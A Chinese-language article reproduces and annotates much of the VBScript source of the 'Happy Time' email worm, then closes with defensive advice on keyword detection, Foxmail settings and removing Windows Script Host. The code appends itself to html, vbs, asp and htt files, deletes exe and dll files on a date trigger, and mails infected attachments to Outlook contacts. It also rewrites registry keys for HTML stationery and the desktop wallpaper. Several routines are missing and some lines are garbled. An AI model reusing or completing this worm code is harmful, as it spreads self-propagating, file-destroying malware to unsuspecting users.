欢乐时光源代码

欢乐时光”其实就是利用了超文本邮件中可以夹带脚本语言的特点而棋高一招的。我们知道，邮件的格式可以有两种：纯文本和超文本。超文本（HTML）功能强大就不用多说了，它可以内嵌数种脚本语言，常见的就是VBScript和JavaScript。“欢乐时光”在超文本中夹带的就是VBS。从源代码中可以看得出来，该作者很可能是长期从事网络编程的高手，他对VBS的认识可谓精通，使用的许多技术细节都鲜为人知，尤其是利用了类型库（Type   Library）成功地避开了安全审核的手段更是令人叹为观止。  
 
　　下面让我们来看看它藏在快乐的外衣下的是什么吧！  
 
 
***************   欢乐时光   ***************  
Rem   I   am   sorry!   happy   time  
On   Error   Resume   Next  
Mload  
''以上为病毒入口，并加上I   am   sorry!   happy   time的注释，以表明此文件已被感染过。  
 
Sub   mload()  
On   Error   Resume   Next  
mPath   =   Grf()  
Set   Os   =   CreateObject("Scriptlet.TypeLib")  
Set   Oh   =   CreateObject("Shell.Application")  
''建立枚举对象，避开了安全审核  
If   IsHTML   Then  
''调用IsHtml函数，如果是Html，就小写……  
mURL   =   LCase(document.Location)  
If   mPath   =   ""   Then  
Os.Reset  
Os.Path   =   "C:\Help.htm"  
Os.Doc   =   Lhtml()  
Os.Write()  
''如果mPath为空，就在C盘下生成Help.htm  
Ihtml   =   ""  
''超文本的内容，并指向C:\Help.Htm  
Call   document.Body.insertAdjacentHTML("AfterBegin",   Ihtml)  
Else  
If   Iv(mPath,   "Help.vbs")   Then  
setInterval   "Rt()",   10000  
Else  
m   =   "hta"  
If   LCase(m)   =   Right(mURL,   Len(m))   Then  
id   =   setTimeout("mclose()",   1)  
''设置超时条件  
main  
Else  
Os.Reset()  
Os.Path   =   mPath   &   "\"   &   "Help.hta"  
Os.Doc   =   Lhtml()  
Os.write()  
Iv   mPath,   "Help.hta"  
''生成Help.hta  
End   If  
End   If  
End   If  
Else  
Main  
''都不是，就执行main函数  
End   If  
End   Sub  
 
''******************************************************************  
''以下为主函数，太长了！  
Sub   main()  
On   Error   Resume   Next  
Set   Of   =   CreateObject("Scripting.FileSystemObject")  
''不用说，创建FileSystemObject对象啦  
Set   Od   =   CreateObject("Scripting.Dictionary")  
''创建Dictionary对象,   用来保存数据键和项目对，它实际上是一个比较开放的数组  
Od.Add   "html",   "1100"  
Od.Add   "vbs",   "0100"  
Od.Add   "htm",   "1100"  
Od.Add   "asp",   "0010"  
''向Dictionary对象添加要感染的项目对  
Ks   =   "HKEY_CURRENT_USER\Software\"  
''使用变量以减少代码长度  
Ds   =   Grf()  
Cs   =   Gsf()  
If   IsVbs   Then  
''如果是VBS  
If   Of.FileExists("C:\help.htm")   Then  
Of.DeleteFile   ("C:\help.htm")  
''如果c:\help.htm存在，就删掉，消灭遗留的痕迹  
End   If  
Key   =   CInt(Month(Date)   +   Day(Date))  
If   Key   =   13   Then  
''如果月与日之和为13（这也是它变种多的原因--将13改为其他数字即可）  
Od.RemoveAll  
Od.Add   "exe",   "0001"  
Od.Add   "dll",   "0001"  
''就清空Dictionary数组，并将exe、dll加入Dictionary   对象，以备删除之用  
End   If  
Cn   =   Rg(Ks   &   "Help\Count")  
''读注册表中的HKEY_CURRENT_USER\Software\Help\Count键值  
If   Cn   =   ""   Then  
Cn   =   1  
''如果Count为0，就设为1  
End   If  
Rw   Ks   &   "Help\Count",   Cn   +   1  
''添加HKEY_CURRENT_USER\Software\Help\Count键值，值为2  
f1   =   Rg(Ks   &   "Help\FileName")  
''再读HKEY_CURRENT_USER\Software\Help\FileName键值  
f2   =   FNext(Of,   Od,   f1)  
''得到该文件的文件名  
fext   =   GetExt(Of,   Od,   f2)  
''得到该文件扩展名的代号  
Rw   Ks   &   "Help\FileName",   f2  
''添加键值  
If   IsDel(fext)   Then  
''如果扩展名代号的第四个字符为1--即0001(exe、dll)  
f3   =   f2  
''储存文件名  
f2   =   FNext(Of,   Od,   f2)  
''得到文件的文件名？  
Rw   Ks   &   "Help\FileName",   f2  
''写注册表  
Of.DeleteFile   f3  
''删除文件  
Else  
If   LCase(WScript.ScriptFullname)   <>   LCase(f2)   Then  
''如果不是集合中的文件  
Fw   Of,   f2,   fext  
End   If  
End   If  
If   (CInt(Cn)   Mod   366)   =   0   Then  
If   (CInt(Second(Time))   Mod   2)   =   0   Then  
''使用   Cint函数强制执行转换，并发邮件  
Tsend  
Else  
adds   =   Og  
Msend   (adds)  
End   If  
End   If  
wp   =   Rg("HKEY_CURRENT_USER\Control   Panel\desktop\wallPaper")  
If   Rg(Ks   &   "Help\wallPaper")   <>   wp   Or   wp   =   ""   Then  
''比较桌面墙纸是否已改变  
If   wp   =   ""   Then  
n1   =   ""  
n3   =   Cs   &   "\Help.htm"  
Else  
mP   =   Of.GetFile(wp).ParentFolder  
n1   =   Of.GetFileName(wp)  
n2   =   Of.GetBaseName(wp)  
n3   =   Cs   &   "\"   &   n2   &   ".htm"  
End   If  
Set   pfc   =   Of.CreateTextFile(n3,   True)  
mt   =   Sa("1100")  
''创建超文本  
pfc.Write   "<"   &   "HTML><"   &   "body   bgcolor=''#007f7f''   background=''"   &   n1   &   "''><  
"   &   "/Body><"   &   "/HTML>"   &   mt  
''超文本的内容  
pfc.Close  
Rw   Ks   &   "Help\wallPaper",   n3  
Rw   "HKEY_CURRENT_USER\Control   Panel\desktop\wallPaper",   n3  
''将带毒的超文本设置成活动桌面  
End   If  
Else  
Set   fc   =   Of.CreateTextFile(Ds   &   "\Help.vbs",   True)  
fc.Write   Sa("0100")  
''创建vbs文件  
fc.Close  
bf   =   Cs   &   "\Untitled.htm"  
Set   fc2   =   Of.CreateTextFile(bf,   True)  
fc2.Write   Lhtml  
fc2.Close  
''创建windows下的untitled.htm  
oeid   =   Rg("HKEY_CURRENT_USER\Identities\Default   User   ID")  
oe   =   "HKEY_CURRENT_USER\Identities\"   &   oeid   &   "\Software\Microsoft\Outlook   E  
xpress\5.0\Mail"  
MSH   =   oe   &   "\Message   Send   HTML"  
CUS   =   oe   &   "\Compose   Use   Stationery"  
SN   =   oe   &   "\Stationery   Name"  
Rw   MSH,   1  
Rw   CUS,   1  
Rw   SN,   bf  
''在Hkey_Current_User＼Identities＼{AECF6CA3-9614-4AF4-AEF2-CT63FE9D97A4}＼Software＼Microsoft＼Outlook   Express＼5.0＼Mail下添加三个键值Message   Send   HTML   、Compose   Use   Stationery   和Stationery   Name，前两个的值为1，后一个指向windows\untitled.htm  
Web   =   Cs   &   "\WEB"  
Set   gf   =   Of.GetFolder(Web).Files  
''得到windows\web文件夹里的文件  
Od.Add   "htt",   "1100"  
''向Dictionary里添加htt项目对  
For   Each   m   In   gf  
''遍历windows\web下的每一个文件  
fext   =   GetExt(Of,   Od,   m)  
''得到每个文件的扩展名  
If   fext   <>   ""   Then  
''如果扩展名不为空，则  
Fw   Of,   m,   fext  
End   If  
Next  
End   If  
End   Sub  
 
''******************************************************************  
Sub   mclose()  
document.Write   "<"   &   "title>I   am   sorry!''写入I   am   sorry,并关闭。以此作为感染与否的标记  
window.Close  
End   Sub  
 
''******************************************************************  
Sub   Fw(Of,   S,   n)  
''此时S为文件名，n为文件扩展名  
Dim   fc,   fc2,   m,   mmail,   mt  
On   Error   Resume   Next  
Set   fc   =   Of.OpenTextFile(S,   1)  
''只读模式打开该文件  
mt   =   fc.ReadAll  
''读入全部文件流  
fc.Close  
''关闭文件  
If   Not   Sc(mt)   Then  
''如果未感染过  
mmail   =   Ml(mt)  
mt   =   Sa(n)  
Set   fc2   =   Of.OpenTextFile(S,   8)  
''打开文件并在文件末尾进行写操作  
fc2.Write   mt  
fc2.Close  
Msend   (mmail)  
''发带毒邮件  
End   If  
End   Sub  
 
''******************************************************************  
Function   Sc(S)  
mN   =   "Rem   I   am   sorry!   happy   time"  
If   InStr(S,   mN)   >   0   Then  
''如果读入的文件流中有Rem   I   am   sorry!   happy   time  
Sc   =   True  
Else  
Sc   =   False  
''表示已感染过，返回True,否则为False  
End   If  
End   Function


''******************************************************************  
Function   FNext(Of,   Od,   S)  
Dim   fpath,   fname,   fext,   T,   gf  
On   Error   Resume   Next  
fname   =   ""  
T   =   False  
''初始化变量  
If   Of.FileExists(S)   Then  
''如果S存在于当前文件夹中  
fpath   =   Of.GetFile(S).ParentFolder  
''得到文件的父目录名  
fname   =   S  
''得到文件名  
ElseIf   Of.FolderExists(S)   Then  
''不存在于当前文件夹中，则得到目录名  
fpath   =   S  
T   =   True  
Else  
fpath   =   Dnext(Of,   "")  
''得到当前盘符--即根目录  
End   If  
Do   While   True  
Set   gf   =   Of.GetFolder(fpath).Files  
''得到当前目录下的所有文件对象  
For   Each   m   In   gf  
''遍历每个文件  
If   T   Then  
If   GetExt(Of,   Od,   m)   <>   ""   Then  
''如果该文件是文件集合中的一员  
FNext   =   m  
''则返回该文件名，供调用的函数或过程使用--感染或删除之  
Exit   Function  
End   If  
ElseIf   LCase(m)   =   LCase(fname)   Or   fname   =   ""   Then  
''如果没文件  
T   =   True  
End   If  
Next  
fpath   =   Pnext(Of,   fpath)   ''  
Loop  
End   Function  
 
''******************************************************************  
Function   Pnext(Of,   S)  
On   Error   Resume   Next  
Dim   Ppath,   Npath,   gp,   pn,   T,   m  
T   =   False  
If   Of.FolderExists(S)   Then  
''如果如果指定的文件夹存在  
Set   gp   =   Of.GetFolder(S).SubFolders  
''就得到子目录数  
pn   =   gp.Count  
If   pn   =   0   Then  
''如果没子目录  
Ppath   =   LCase(S)   ''  
Npath   =   LCase(Of.GetParentFolderName(S))  
''得到父目录的小写形式  
T   =   True  
Else  
Npath   =   LCase(S)  
''有子目录，得到其小写形式的集合  
End   If  
Do   While   Not   Er   ''  
For   Each   pn   In   Of.GetFolder(Npath).SubFolders  
''得到子目录下的子目录  
If   T   Then  
If   Ppath   =   LCase(pn)   Then  
T   =   False  
End   If  
Else  
Pnext   =   LCase(pn)  
Exit   Function  
End   If  
Next  
T   =   True  
Ppath   =   LCase(Npath)  
''将字符串转化成小写  
Npath   =   Of.GetParentFolderName(Npath)   ''  
If   Of.GetFolder(Ppath).IsRootFolder   Then  
''如果是根目录  
m   =   Of.GetDriveName(Ppath)  
''就得到分区符  
Pnext   =   Dnext(Of,   m)  
Exit   Function  
End   If  
Loop  
End   If  
End   Function  
 
''******************************************************************  
Function   Dnext(Of,   S)  
Dim   dc,   n,   d,   T,   m  
On   Error   Resume   Next  
T   =   False  
m   =   ""  
Set   dc   =   Of.Drives  
''得到所有的驱动器盘符  
For   Each   d   In   dc  
''遍历每个驱动器  
If   d.DriveType   =   2   Or   d.DriveType   =   3   Then  
''如果是网络盘或本地盘  
If   T   Then  
Dnext   =   d  
Exit   Function  
''如果是False，就返回当前盘，并退出本函数  
Else  
If   LCase(S)   =   LCase(d)   Then  
''如果是True且盘符相同，就令T为True  
T   =   True  
End   If  
If   m   =   ""   Then  
''如果m为空，就将盘符付给m  
m   =   d  
End   If  
End   If  
End   If  
Next  
Dnext   =   m  
''返回盘符  
End   Function  
 
''******************************************************************  
Function   GetExt(Of,   Od,   S)  
Dim   fext  
On   Error   Resume   Next  
fext   =   LCase(Of.GetExtensionName(S))  
''返回该文件扩展名的小写  
GetExt   =   Od.Item(fext)  
''返回Dictionary对象中指定的key对应的item--即0001(exe)等  
End   Function  
 
''******************************************************************  
Sub   Rw(k,   v)  
''写注册表  
Dim   R  
On   Error   Resume   Next  
Set   R   =   CreateObject("WScript.Shell")  
''创建对象  
R.RegWrite   k,   v  
End   Sub  
 
''******************************************************************  
Function   Rg(v)  
''读注册表  
Dim   R  
On   Error   Resume   Next  
Set   R   =   CreateObject("WScript.Shell")  
''创建对象  
Rg   =   R.RegRead(v)  
End   Function  
 
''******************************************************************  
Function   IsVbs()  
''此函数判断是不是VBS文件  
Dim   ErrTest  
On   Error   Resume   Next  
ErrTest   =   WScript.ScriptFullname  
If   Err   Then  
''如果出错，则不是VBS  
IsVbs   =   False  
Else  
IsVbs   =   True  
End   If  
End   Function  
 
''******************************************************************  
Function   IsHTML()  
''此函数判断是不是Html文件  
Dim   ErrTest  
On   Error   Resume   Next  
ErrTest   =   document.Location  
If   Er   Then  
IsHTML   =   False  
''如果出错，则不是超文本  
Else  
IsHTML   =   True  
End   If  
End   Function  
 
 
''******************************************************************  
Function   IsMail(S)  
''此函数判断是不是邮件地址  
Dim   m1,   m2  
IsMail   =   False  
If   InStr(S,   vbCrLf)   =   0   Then  
''返回vbCrLf在S中第一次出现的位置,   vbCrLf是换行符  
m1   =   InStr(S,   "@")  
m2   =   InStr(S,   ".")  
If   m1   <>   0   And   m1   <   m2   Then  
''如果有“@”符号且“@”在“."之前，则是邮件地址  
IsMail   =   True  
End   If  
End   If  
End   Function  
 
''******************************************************************  
Function   Gsf()  
''得到windows目录  
Dim   Of,   m  
On   Error   Resume   Next  
Set   Of   =   CreateObject("Scripting.FileSystemObject")  
''创建FileSystemObject对象  
m   =   Of.GetSpecialFolder(0)  
''得到特殊目录--Windows、System和Temp目录  
If   Er   Then  
''如果失败，返回C:\  
Gsf   =   "C:\"  
Else  
''若正常，则返回%Windows%  
Gsf   =   m  
End   If  
End   Function  
 
''******************************************************************  
Function   Lhtml()  
''写入超文本的内容，其中vbCrLf是换行符  
Lhtml   =   "<"   &   "HTML"   &   ">"<"   &   "Title>   Help   "<"   &   "Body>   "   &   Lscript(Lvbs())   &   vbCrLf   &   _  
"<"   &   "/Body>End   Function  
 
''******************************************************************  
Function   Lscript(S)  
''写入vbscript的声明  
Lscript   =   "<"   &   "script   language=''VBScript''>"   &   vbCrLf   &   _  
S   &   "<"   &   "/script"   &   ">"  
End   Function  
 
''******************************************************************  
Function   Sl(S1,   S2,   n)  
Dim   l1,   l2,   l3,   i  
l1   =   Len(S1)  
''得到文件流的长度  
l2   =   Len(S2)  
''得到mailto:的长度  
i   =   InStr(S1,   S2)  
''在文件流中查找mailto:第一次出现的位置--值为一个数  
If   i   >   0   Then  
''找到则进行字符串操作  
l3   =   i   +   l2   -   1  
If   n   =   0   Then  
Sl   =   Left(S1,   i   -   1)  
ElseIf   n   =   1   Then  
Sl   =   Right(S1,   l1   -   l3)  
End   If  
Else  
Sl   =   ""  
End   If  
End   Function  
 
 
''******************************************************************  
Function   Og()  
''得到WAB（通讯簿）中的邮件地址  
Dim   i,   n,   m(),   Om,   Oo  
Set   Oo   =   CreateObject("Outlook.Application")  
''创建Outlook应用程序对象，Outlook和Outlook   Express都跑不掉啦！  
Set   Om   =   Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items  
n   =   Om.Count  
ReDim   m(n)  
For   i   =   1   To   n  
m(i   -   1)   =   Om.Item(i).Email1Address  
得到每个WAB中的邮件地址  
Next  
Og   =   m  
End   Function  
 
''******************************************************************  
Sub   Tsend()  
''发带毒邮件  
Dim   Od,   MS,   MM,   a,   m  
Set   Od   =   CreateObject("Scripting.Dictionary")  
MConnect   MS,   MM  
MM.FetchSorted   =   True  
MM.Fetch  
For   i   =   0   To   MM.MsgCount   -   1  
MM.MsgIndex   =   i  
a   =   MM.MsgOrigAddress  
If   Od.Item(a)   =   ""   Then  
Od.Item(a)   =   MM.MsgSubject  
End   If  
Next  
For   Each   m   In   Od.Keys  
MM.Compose  
MM.MsgSubject   =   "Fw:   "   &   Od.Item(m)  
''设置邮件标题  
MM.RecipAddress   =   m  
''此邮件的当前的目标邮件地址  
MM.AttachmentPathName   =   Gsf   &   "\Untitled.htm"  
''添加附件Windows\Untitled.htm  
MM.Send  
''发送！  
Next  
MS.SignOff  
End   Sub  
 
''******************************************************************  
Function   Er()  
''设置的错误陷阱，避免程序崩溃，严谨的风格值得学习  
If   Err.Number   =   0   Then  
Er   =   False  
Else  
Err.Clear  
Er   =   True  
End   If  
End   Function  

''******************************************************************  
Function   IsDel(S)  
''此函数查看当前文件是否是要删除的文件类型  
If   Mid(S,   4,   1)   =   1   Then  
''看S的第四个字符是否是1--即是0001(exe和dll)  
IsDel   =   True  
''如是，返回True，以备删除  
Else  
IsDel   =   False  
''如不是，返回False  
End   If  
End   Function  
''******************************************************************  
 
 
于安全上的考虑，上面只登出了技术上比较新颖和重要的几个模块供大家研究和学习之用。从代码中大家可以看到，“欢乐时光”也采用了“爱虫”的FileSystemObject（文件系统对象）的技术，这也几乎是所有VBS邮件病毒必不可少的部分。因此如果杀毒软件监视所有Html和Vbs中的FileSystemObject关键字，几乎可以查出所有和潜在的变种（虽然可能会将某些良性的超文本和Vbs误报，但还是“宁可错杀一千，不可放过一毒”。如果仅监视关键字，如“爱虫”的“I   love   you”，“欢乐时光”的“Happy   Time"，造毒者只要将其改掉即可，再将邮件标题、内容和源码中的变量名替换一下，具有“智能查毒”的杀毒软件们也只有装聋作哑，望毒兴叹了。  
 
　　如果您使用的是Foxmail   3.x，恭喜您啦！Foxmail   3.0以上的版本都严格地将文本邮件和超文本邮件加以区分，默认超文本邮件需要点击右角上的小地球图标才可以看到超文本，如果您怀疑某封信可能带毒，就可以从容删之，或导出成ASCII文件用记事本打开研究研究。而老Foxmail和Outlook   Express就没那么幸运，即一看到标题就已Bingo，OE还会成为散毒源，寄发带毒邮件。因此首先，最好使用Foxmail   3.x，安全第一嘛！如果不放心，干脆删掉WSH（Windows   Scripting   Host）吧！方法是找到"添加/删除程序"->"Windows安装程序"--"附件"   ，将"组件"中的"Windows   Scripting   Host"所占空间1.1MB前面的勾去掉,然后选"确定"即可。如果你想研究其源码，用Foxmail导出为文本文件即可，“知己知彼，百战不殆”嘛！